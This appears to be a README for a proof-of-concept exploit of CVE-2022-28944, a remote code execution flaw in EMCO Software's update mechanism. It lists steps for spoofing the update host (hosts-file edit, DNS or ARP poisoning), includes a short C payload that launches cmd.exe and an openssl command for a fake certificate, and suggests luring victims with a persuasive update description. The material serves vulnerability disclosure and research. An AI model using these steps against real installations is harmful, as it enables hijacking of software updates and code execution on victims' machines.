CVE-2022-28944

EMCO Software Multiple Products Unauthenticated Update Remote Code Execution Vulnerability.

Usage: python3 cve-2022-28944_poc.py

Details in the report at gerr.re.

Steps to reproduce

1. Install an affected product of EMCO Software;
2. Set spoof storage.emcosoftware.com to our attacker ip;
   • For a proof-of-concept edit c:\windows\system32\drivers\etc\hosts on target.
     • Note: attackers may e.g. use:
       • poorly configured routers/switches/DNS,
       • DNS spoof / cache poisoning,
       • ARP spoof / cache poisoning.
3. Compile proof.c on the attacker, e.g. using i686-w64-mingw32-gcc proof.c -o proof.exe;

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. Generate self-signed certificates;
   • e.g. using openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"
5. Run the proof-of-concept script;
6. Start the affected product of EMCO Software and either
   • wait a day to trigger update automatically, or
   • trigger the update manually through the application menu;
7. Accept the update in the Update Wizard.
   • Attackers will use a persuasive update description to convince a target to accept the update.